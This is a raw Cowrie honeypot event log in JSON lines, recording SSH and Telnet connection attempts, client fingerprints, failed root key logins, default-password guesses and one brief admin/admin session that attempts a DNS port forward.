{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:54:a5:6d:17:2a:83:de:19:35:f2:1a:7c:ad:2b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1Nc39LHzjaKVeyeiAQN8RvnaZ/q1sFrsPNSwiowBUl+PHTUZvTZulpYvUxHfGarETAWqOvq47atnbOI3zLwg528TCjOVwjVwm6J3kup31eg/NW4EiWPYZj5xmPBQ4zoOlNhrpNSfCfuya6fXLk+Pp346KCVn6eXAqbBeXXGi0sD0BIWOOuDapqRG0NEVBsLJ2Io6pipI9tPxGheoorZ5fGjIJ2kwLnk1Zgp7x9nEh/cCuOrRUM5oIYCvy3AbCWsOQ/xeWGbvq8FMAHqq/DHHs8PXa4Te30T2Xpu053xoLnqH7zyDDo65fl9+vAiSaXZzIWiw8+FboNzCpjUVzNRlqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:54:a5:6d:17:2a:83:de:19:35:f2:1a:7c:ad:2b:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:08.571205Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:54:a5:6d:17:2a:83:de:19:35:f2:1a:7c:ad:2b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1Nc39LHzjaKVeyeiAQN8RvnaZ/q1sFrsPNSwiowBUl+PHTUZvTZulpYvUxHfGarETAWqOvq47atnbOI3zLwg528TCjOVwjVwm6J3kup31eg/NW4EiWPYZj5xmPBQ4zoOlNhrpNSfCfuya6fXLk+Pp346KCVn6eXAqbBeXXGi0sD0BIWOOuDapqRG0NEVBsLJ2Io6pipI9tPxGheoorZ5fGjIJ2kwLnk1Zgp7x9nEh/cCuOrRUM5oIYCvy3AbCWsOQ/xeWGbvq8FMAHqq/DHHs8PXa4Te30T2Xpu053xoLnqH7zyDDo65fl9+vAiSaXZzIWiw8+FboNzCpjUVzNRlqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:08.574196Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:01:84:bd:66:4c:e9:a5:99:88:38:7e:a4:20:c7:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8KrewHwxaGvaE7juqZM7RjPoag7zwOkTi7WHyFMtPYGLxibDkpc6kvLRUpmFKxxpZ+Ckr62gvnTY7wO+Tv1iZiyard8+X0b1PL0h+MYkISEbFl7pZ9Rc9uSy2e/t8xE/9HQznE1XbMRxxinKgBShBoey4BpQQRDh9jwCs5KyySq4HX11t0JqJL7X/nlt95cmxO6okSw3vTkD58OAqSaB67jA8mYYmIT+ATBZoI2RPTtbtfthMOY2CLAZRDZb4hQASPhRAyJUkvZHsOfl7Ke7hX62EdXFflxtIW0z/1aLfAvVKeC985Vgqif8Nu+7C+vrCl1/8CAqNVCcRreHMYvZKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:01:84:bd:66:4c:e9:a5:99:88:38:7e:a4:20:c7:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:08.816136Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:01:84:bd:66:4c:e9:a5:99:88:38:7e:a4:20:c7:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8KrewHwxaGvaE7juqZM7RjPoag7zwOkTi7WHyFMtPYGLxibDkpc6kvLRUpmFKxxpZ+Ckr62gvnTY7wO+Tv1iZiyard8+X0b1PL0h+MYkISEbFl7pZ9Rc9uSy2e/t8xE/9HQznE1XbMRxxinKgBShBoey4BpQQRDh9jwCs5KyySq4HX11t0JqJL7X/nlt95cmxO6okSw3vTkD58OAqSaB67jA8mYYmIT+ATBZoI2RPTtbtfthMOY2CLAZRDZb4hQASPhRAyJUkvZHsOfl7Ke7hX62EdXFflxtIW0z/1aLfAvVKeC985Vgqif8Nu+7C+vrCl1/8CAqNVCcRreHMYvZKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:08.820051Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:07:09.059784Z","src_ip":"139.162.4.102","session":"8e8f47307cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36956,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5127806ccda","protocol":"telnet","message":"New connection: 180.235.129.180:36956 (10.17.0.5:23) [session: a5127806ccda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:08:13.632533Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36988,"dst_ip":"10.17.0.5","dst_port":23,"session":"075cc7d008b5","protocol":"telnet","message":"New connection: 180.235.129.180:36988 (10.17.0.5:23) [session: 075cc7d008b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:08:13.753072Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":36960,"dst_ip":"10.17.0.5","dst_port":23,"session":"c07979198917","protocol":"telnet","message":"New connection: 180.235.129.180:36960 (10.17.0.5:23) [session: c07979198917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:08:16.413189Z"}
{"eventid":"cowrie.session.closed","duration":8.801361560821533,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:08:22.433775Z","src_ip":"180.235.129.180","session":"a5127806ccda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.03612422943115,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:09:16.789077Z","src_ip":"180.235.129.180","session":"075cc7d008b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":57814,"dst_ip":"159.203.135.109","dst_port":22,"session":"f45e66947f52","protocol":"ssh","message":"New connection: 2.57.122.208:57814 (159.203.135.109:22) [session: f45e66947f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:09:53.777655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:09:53.937017Z","src_ip":"2.57.122.208","session":"f45e66947f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:09:54.029166Z","src_ip":"2.57.122.208","session":"f45e66947f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:09:55.840025Z","src_ip":"2.57.122.208","session":"f45e66947f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:09:57.214777Z","src_ip":"2.57.122.208","session":"f45e66947f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00422143936157,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:10:16.417284Z","src_ip":"180.235.129.180","session":"c07979198917","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50702,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a469154c789","protocol":"ssh","message":"New connection: 2.57.122.208:50702 (10.17.0.5:22) [session: 6a469154c789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:10:40.747585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:10:41.183044Z","src_ip":"2.57.122.208","session":"6a469154c789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:10:41.186675Z","src_ip":"2.57.122.208","session":"6a469154c789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:10:42.932416Z","src_ip":"2.57.122.208","session":"6a469154c789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:10:44.355594Z","src_ip":"2.57.122.208","session":"6a469154c789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.157.164.62","src_port":39924,"dst_ip":"10.17.0.5","dst_port":23,"session":"f964966cdbbb","protocol":"telnet","message":"New connection: 208.157.164.62:39924 (10.17.0.5:23) [session: f964966cdbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:03.870659Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.157.164.62","src_port":39954,"dst_ip":"10.17.0.5","dst_port":23,"session":"36eb74b1ddc2","protocol":"telnet","message":"New connection: 208.157.164.62:39954 (10.17.0.5:23) [session: 36eb74b1ddc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:04.053914Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.157.164.62","src_port":40034,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e3c55d9242b","protocol":"telnet","message":"New connection: 208.157.164.62:40034 (10.17.0.5:23) [session: 7e3c55d9242b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:04.345235Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33198,"dst_ip":"10.17.0.5","dst_port":22,"session":"acfcbfb900e7","protocol":"ssh","message":"New connection: 87.251.64.176:33198 (10.17.0.5:22) [session: acfcbfb900e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:19.509631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:19.514125Z","src_ip":"87.251.64.176","session":"acfcbfb900e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:19.611503Z","src_ip":"87.251.64.176","session":"acfcbfb900e7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:19.903473Z","src_ip":"87.251.64.176","session":"acfcbfb900e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:20.004090Z","session":"acfcbfb900e7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:20.104728Z","src_ip":"87.251.64.176","session":"acfcbfb900e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:20.204794Z","src_ip":"87.251.64.176","session":"acfcbfb900e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":51112,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ddc485761ce","protocol":"telnet","message":"New connection: 199.103.57.63:51112 (159.203.135.109:23) [session: 4ddc485761ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:11:51.270226Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.201.189","src_port":38732,"dst_ip":"10.17.0.5","dst_port":22,"session":"39947241e8d2","protocol":"ssh","message":"New connection: 89.45.201.189:38732 (10.17.0.5:22) [session: 39947241e8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:02.725331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:02.730484Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:02.857738Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:4b:b2:15:3d:4b:1a:10:61:d5:bd:8c:9c:8d:06:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbkq7DDYFK8yQ2aXJl6/gbbpqQl3T57SKq6+GX//lxJ/FuDkTWykxPWZDsQpe8XK3VYjd+7ox6jsvVna+tfQByrwLSK2rKcdbpvlEkATd3CHXQ+VkD/vlyCNe156058UXJrvTUlYiQhG8M/v9pnotkAxz6/2FjJpryVzeA9B6rGi+cqY0gRpz+/sQqEOaxPp93Bh/QJNovkM6gsPIU7+1Qck5JAUuJ+g6/R9jmEavXOtkPGOoavbGfLy/rqqwfNbd2ITB5ypa+Vnl+8xzoMHXy5jf9pESO0p3zM4Eyg5D556P5K6htS4+KQALnjIeYOzOSQh+aJ8ZpnUIDvnTidQ5n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:4b:b2:15:3d:4b:1a:10:61:d5:bd:8c:9c:8d:06:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.450898Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:4b:b2:15:3d:4b:1a:10:61:d5:bd:8c:9c:8d:06:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbkq7DDYFK8yQ2aXJl6/gbbpqQl3T57SKq6+GX//lxJ/FuDkTWykxPWZDsQpe8XK3VYjd+7ox6jsvVna+tfQByrwLSK2rKcdbpvlEkATd3CHXQ+VkD/vlyCNe156058UXJrvTUlYiQhG8M/v9pnotkAxz6/2FjJpryVzeA9B6rGi+cqY0gRpz+/sQqEOaxPp93Bh/QJNovkM6gsPIU7+1Qck5JAUuJ+g6/R9jmEavXOtkPGOoavbGfLy/rqqwfNbd2ITB5ypa+Vnl+8xzoMHXy5jf9pESO0p3zM4Eyg5D556P5K6htS4+KQALnjIeYOzOSQh+aJ8ZpnUIDvnTidQ5n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.455700Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:5c:ac:ea:b3:56:91:4a:02:f5:08:3a:03:38:0d:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrqbTnk3nRQNVXUakyO+fFAHV/M5biyniqVrKY5GZpqNZyTmtdmmgr3vDrEFuzECJFeE09jaLJu2fcnefm+YZU2DvJBDMZ024K97O8ldzrtXhvKhzeMUpUKvIhkBG66YJs8VYTx+NtsUB2CcGy+Y+MFHU5boqIsAvXOccTBkwQx6IaXLgVlNqIKXd82XF91MMgmdyhKqu6Y8hQA75BKtEeB3ao/aLpG0YGzxjDPMudUhK6xGr/CKWzc9+jk/UV3hoFV+JTD/DFb66qycS1pBT/1G8Z5TzwOVFl3Gn4RuWjUei2IsJGslymnt5UhDRtl5z8FA3zAvkfK90RPJMAp//qW4FCVO4tcqIrwt2kuhPgB90d4cZL2tDYykinW5GhQnVn7ZaKAnkhU80tt+eyjQR3Nnf9oJik7RfmknOSr3MmmORizhEOIjWDmfpFzlQfbEHXgupJIUoby9KjNzavLQi71pcoQbpLgVQ1Wu1rFi9/xbQCN7aas8LxD4hhHhw0E9hNySRIDP8VFRkQoAPSzBIZB6rQrup1SiQm+haAyhBrfuTbhy/kQysKbs4/vD0Ndrfxn/ryq1g6ldV1BrfxAwW5RT5IUR30WytoGGkJeYmr0FZF21RwWSM4QNIuuo5M56Mt5S4cLLsvFIoqpvARlbziBWFlxctpyuPNjcWVLMKc3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:5c:ac:ea:b3:56:91:4a:02:f5:08:3a:03:38:0d:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:12:03.579786Z","src_ip":"89.45.201.189","session":"39947241e8d2","protocol":"ssh"}
